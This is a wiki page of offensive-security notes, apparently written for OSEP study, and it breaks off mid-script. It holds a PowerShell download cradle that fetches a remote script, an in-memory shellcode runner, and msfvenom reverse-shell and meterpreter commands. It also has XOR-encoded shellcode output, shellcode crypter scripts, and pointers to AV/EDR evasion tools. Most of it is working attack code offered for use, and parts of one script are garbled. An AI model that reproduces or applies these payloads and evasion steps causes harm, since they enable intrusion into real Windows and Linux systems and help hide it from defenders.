=== SYSTEM Proxy with Net.WebClient ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a Proxy Configuration for SYSTEM&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Proxy settings per user are stored in the registry at:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* When accessing as SYSTEM, &amp;lt;code&amp;gt;HKEY_CURRENT_USER&amp;lt;/code&amp;gt; does not exist. Use &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;PowerShell to Setup Proxy for SYSTEM Integrity&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Map HKEY_USERS registry hive:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find the correct user hive based on SID:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
   ForEach ($key in $keys) {&lt;br /&gt;
       if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
           $start = $key.Name.substring(10)&lt;br /&gt;
           break&lt;br /&gt;
       }&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Fetch the proxy settings:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create and assign the proxy object:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   [system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
   $wc = new-object system.net.WebClient&lt;br /&gt;
   $wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Full Code for SYSTEM Proxy-Aware Download Cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
$keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
ForEach ($key in $keys) {&lt;br /&gt;
    if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
        $start = $key.Name.substring(10)&lt;br /&gt;
        break&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
$wc = new-object system.net.WebClient&lt;br /&gt;
$wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Close the PowerShell_ISE prompt and rerun the code if previous steps have been executed, as mapping &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; will persist across reruns.&lt;br /&gt;
&lt;br /&gt;
== Reflection Load (In-memory) ==&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
Generate shellcode based on the architecture of the vicitim. If run as a Word Macro its most likely x86. See Dropper/VBA for code to use in Word Macro. Host the code below on the attacker through Apache2 or SimpleHTTPserver and run the VBA on Victim.&lt;br /&gt;
&lt;br /&gt;
This code below is same as &amp;lt;code&amp;gt;Simple Shellcode Runner Powershell Ver 2&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
              Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
              Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {&lt;br /&gt;
        If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {&lt;br /&gt;
            $tmp+=$_&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
        [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
            DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
            [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
            DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
            DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
            [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$lpMem =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
$hThread =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
    (getDelegateType @([IntPtr], [Int32]) ([Int]))&lt;br /&gt;
).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode obfuscation script ==&lt;br /&gt;
&lt;br /&gt;
There are many obfuscation tools available online that are great at obfuscating shellcode and help bypass AV. Not all will work right out of the box, but there might be some. Some might need tweaking in order to bypass AV, some might not work at all.&lt;br /&gt;
&lt;br /&gt;
=== Espio ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Konis-Bros/Espio/tree/main Konis-Bros/Espio: Shellcode obfuscation tool to avoid AV/EDR. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# The obfuscation method usid is xor&lt;br /&gt;
def obfuscate_payload(payload, key):&lt;br /&gt;
    encrypted_payload = &amp;quot;&amp;quot;&lt;br /&gt;
    for i in range(len(payload)):&lt;br /&gt;
        obf_char = chr(payload[i] ^ ord(key[i % len(key)]))&lt;br /&gt;
        hex_char = hex(ord(obf_char))&lt;br /&gt;
        if len(hex_char) == 3:&lt;br /&gt;
            hex_char = f&amp;quot;0x0{hex_char[-1]}&amp;quot;&lt;br /&gt;
        encrypted_payload += hex_char&lt;br /&gt;
    encrypted_payload_bytes = encrypted_payload.encode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    obfuscated_payload_bytes = base64.b64encode(encrypted_payload_bytes)&lt;br /&gt;
    obfuscated_payload = obfuscated_payload_bytes.decode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    return &amp;quot;&amp;quot;.join(obfuscated_payload)&lt;br /&gt;
&lt;br /&gt;
def generate_key():&lt;br /&gt;
    letters = [chr(ascii_value) for ascii_value in range(33, 127)]&lt;br /&gt;
    key = &amp;quot;&amp;quot;.join(random.choices(letters, k=random.randint(100, 500)))&lt;br /&gt;
    return key&lt;br /&gt;
# In main.cpp the decryption routine&lt;br /&gt;
	int keyIndex = 0;&lt;br /&gt;
	for (int i = 0; i &amp;lt; encryptedPayloadSize; i += 4)&lt;br /&gt;
	{&lt;br /&gt;
		std::string currentByte = std::string() + encryptedPayload[i] + encryptedPayload[i + 1] + encryptedPayload[i + 2] + encryptedPayload[i + 3];&lt;br /&gt;
		payload += stol(currentByte, nullptr, 0) ^ key[keyIndex++ % keySize];&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scarecrow ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/optiv/ScareCrow optiv/ScareCrow: ScareCrow - Payload creation framework designed around EDR bypass. (github.com)]&lt;br /&gt;
&lt;br /&gt;
ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls). Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDR’s hook out of the system DLLs running in the process&#039;s memory. This works because we know the EDR’s hooks are placed when a process is spawned.&lt;br /&gt;
&lt;br /&gt;
[https://adamsvoboda.net/evading-edr-with-scarecrow/ Evading EDR in 15 Minutes with ScareCrow (adamsvoboda.net)]&lt;br /&gt;
&lt;br /&gt;
We generate a raw shellcode using ex. Metasploit, Cobalt strik etc and then pass it to Scarecrow We will then get a loader back that will implement some common EDR evasion techniques.&lt;br /&gt;
&lt;br /&gt;
ScareCrow takes your raw shellcode and encrypts it using AES. This will help with on-disk detection when AV/EDR scans the loader.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/opt/ScareCrow/ScareCrow -I stager.bin -Loader binary -domain microsoft.com&lt;br /&gt;
# Check -h for detailed info.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ShellCrypt ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iilegacyyii/Shellcrypt iilegacyyii/Shellcrypt: A QoL tool to obfuscate shellcode. In the future will be able to chain encoding/encryption/compression methods. (github.com)]&lt;br /&gt;
&lt;br /&gt;
== Encryption Methods ==&lt;br /&gt;
&lt;br /&gt;
* AES (128-bit CBC)&lt;br /&gt;
&lt;br /&gt;
* ChaCha20&lt;br /&gt;
&lt;br /&gt;
* RC4&lt;br /&gt;
&lt;br /&gt;
* Salsa20&lt;br /&gt;
&lt;br /&gt;
* XOR&lt;br /&gt;
&lt;br /&gt;
== [https://github.com/iilegacyyii/Shellcrypt#supported-formats https://github.com/iilegacyyii/Shellcrypt#supported-formats]Supported Formats ==&lt;br /&gt;
&lt;br /&gt;
* C&lt;br /&gt;
&lt;br /&gt;
* C#&lt;br /&gt;
&lt;br /&gt;
* Nim&lt;br /&gt;
&lt;br /&gt;
* Golang&lt;br /&gt;
&lt;br /&gt;
* Python&lt;br /&gt;
&lt;br /&gt;
* Powershell&lt;br /&gt;
&lt;br /&gt;
* Visual Basic for Applications (VBA)&lt;br /&gt;
&lt;br /&gt;
* Visual Basic Script (VBS)&lt;br /&gt;
&lt;br /&gt;
* Rust&lt;br /&gt;
&lt;br /&gt;
* Raw&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 shellcrypt.py -i shellcode.bin -e xor -f csharp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode injection techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
From github: &amp;quot;A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Assembly Injection&lt;br /&gt;
&lt;br /&gt;
* Shellcode Runner&lt;br /&gt;
&lt;br /&gt;
* Classic Injection&lt;br /&gt;
&lt;br /&gt;
* Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Local Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Asychronous Procedure Call Injection&lt;br /&gt;
&lt;br /&gt;
* Process Hollowing&lt;br /&gt;
&lt;br /&gt;
* Inter-Process Mapped View&lt;br /&gt;
&lt;br /&gt;
* Atom Bombing&lt;br /&gt;
&lt;br /&gt;
== Shellcode Encryptors ==&lt;br /&gt;
&lt;br /&gt;
=== Shellcode Encryptors - Helper code ===&lt;br /&gt;
&lt;br /&gt;
Below are codes that will encrypt the shellcode you provide. Compile in Visual Studios and run them.&lt;br /&gt;
&lt;br /&gt;
==== ShellcodeCrypter-bin.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.156 LPORT=443 -f raw -o shell.bin&lt;br /&gt;
&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcode-bin.py shell.bin cs xor 0xfa&lt;br /&gt;
[i] Generating payload for path shell.bin.&lt;br /&gt;
[i] Encoding payload with type xor and key 0xfa&lt;br /&gt;
[+] Encoded payload (CSharp):&lt;br /&gt;
// Payload xor-encoded with key 0xfa&lt;br /&gt;
byte[] buf = new byte[68] {&lt;br /&gt;
0xcb,0x21,0x0d,0x19,0xa9,0xb9,0xa9,0x90,0xf8,0x73,0x1b,0x4a,0x9c,&lt;br /&gt;
0x37,0x7a,0x69,0xa3,0x4a,0xc5,0x37,0x7a,0xb3,0x83,0x03,0x92,0x3a,&lt;br /&gt;
0x52,0xd7,0x66,0x92,0xf8,0xfa,0xfb,0x41,0x73,0x1b,0x4a,0x9c,0xaa,&lt;br /&gt;
0xab,0xa9,0x49,0xf9,0x73,0x1b,0x37,0x7a,0xa8,0x92,0x94,0xd5,0x89,&lt;br /&gt;
0x92,0x92,0xd5,0xd5,0x98,0x93,0x73,0x19,0xa8,0xa9,0x73,0x1b,0x4a,&lt;br /&gt;
0xf1,0x37,0x7a&lt;br /&gt;
};&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
    {&lt;br /&gt;
        buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# ShellcodeCrypter-bin.py&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;path&amp;quot;, help=&amp;quot;the path to load the raw shellcode payload from&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;/tmp/payload.bin&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the input path&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload for path {bcolors.OKGREEN}{args.path}{bcolors.ENDC}.&amp;quot;)&lt;br /&gt;
try:&lt;br /&gt;
    with open(args.path, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
        payload = f.read()&lt;br /&gt;
except:&lt;br /&gt;
    exit(f&#039;{bcolors.BOLD}{bcolors.FAIL}[-] Cannot read file: {args.path}{bcolors.ENDC}&#039;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{hex(args.key)}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    encodedPayload = []&lt;br /&gt;
    payloadFormatted = &amp;quot;&amp;quot;&lt;br /&gt;
    for byte in payload:&lt;br /&gt;
        byteInt = int(byte)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        encodedPayload.append(&amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4))&lt;br /&gt;
    payLen = len(encodedPayload)&lt;br /&gt;
    encodedPayload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(encodedPayload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted += f&amp;quot;// Payload {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{encodedPayload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== shellcodeCrypter-msfvenom.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcodecrypter.py 192.168.45.156 443 cpp xor 0xfa linux/x64/meterpreter/reverse_tcp&lt;br /&gt;
[i] Generating payload linux/x64/meterpreter/reverse_tcp for LHOST=192.168.45.156 and LPORT=443&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
No encoder specified, outputting raw payload&lt;br /&gt;
Payload size: 130 bytes&lt;br /&gt;
Final size of csharp file: 691 bytes&lt;br /&gt;
[i] Encoding payload with type xor and key 250&lt;br /&gt;
[+] Encoded payload (C++):&lt;br /&gt;
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.45.156 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
// xor-encoded with key 0xfa&lt;br /&gt;
unsigned char buffer[] =&lt;br /&gt;
    &amp;quot;\xcb\x05\x90\xf3\xa2\x63\x4c\xea\xb2\x73\x2c\xb7\xcb\x33\x90\xd8&amp;quot;&lt;br /&gt;
    &amp;quot;\xbb\xa0\x90\xfd\xa0\xf5\xff\xb2\x7f\x3a\x82\xab\x90\xf0\xbb\xa3&amp;quot;&lt;br /&gt;
    &amp;quot;\xaa\x90\xd3\xa2\x63\x90\xf8\xa5\x90\xfb\xa4\xf5\xff\xb2\x7f\x3a&amp;quot;&lt;br /&gt;
    &amp;quot;\x82\xc1\xb2\x6d\xb2\x43\xf8\xfa\xfb\x41\x3a\x52\xd7\x66\xab\xb2&amp;quot;&lt;br /&gt;
    &amp;quot;\x73\x1c\x90\xea\xa0\x90\xd0\xa2\xf5\xff\xa3\xb2\x7f\x3a\x83\xdf&amp;quot;&lt;br /&gt;
    &amp;quot;\xb3\x05\x33\x8e\xe2\xad\x90\xd9\xa2\x90\xfa\x90\xff\xb2\x73\x1d&amp;quot;&lt;br /&gt;
    &amp;quot;\xb2\xcb\x0c\xf5\xff\xa3\xa3\xa5\xb2\x7f\x3a\x83\x3d\x90\xc6\xa2&amp;quot;&lt;br /&gt;
    &amp;quot;\x90\xfb\xa5\xf5\xff\xa4\x90\x84\xa0\xf5\xff\xb2\x7f\x3a\x82\x17&amp;quot;&lt;br /&gt;
\x05\x1c;&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ 0xfa);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;lhost&amp;quot;, help=&amp;quot;listener IP to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;lport&amp;quot;, help=&amp;quot;listener port to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
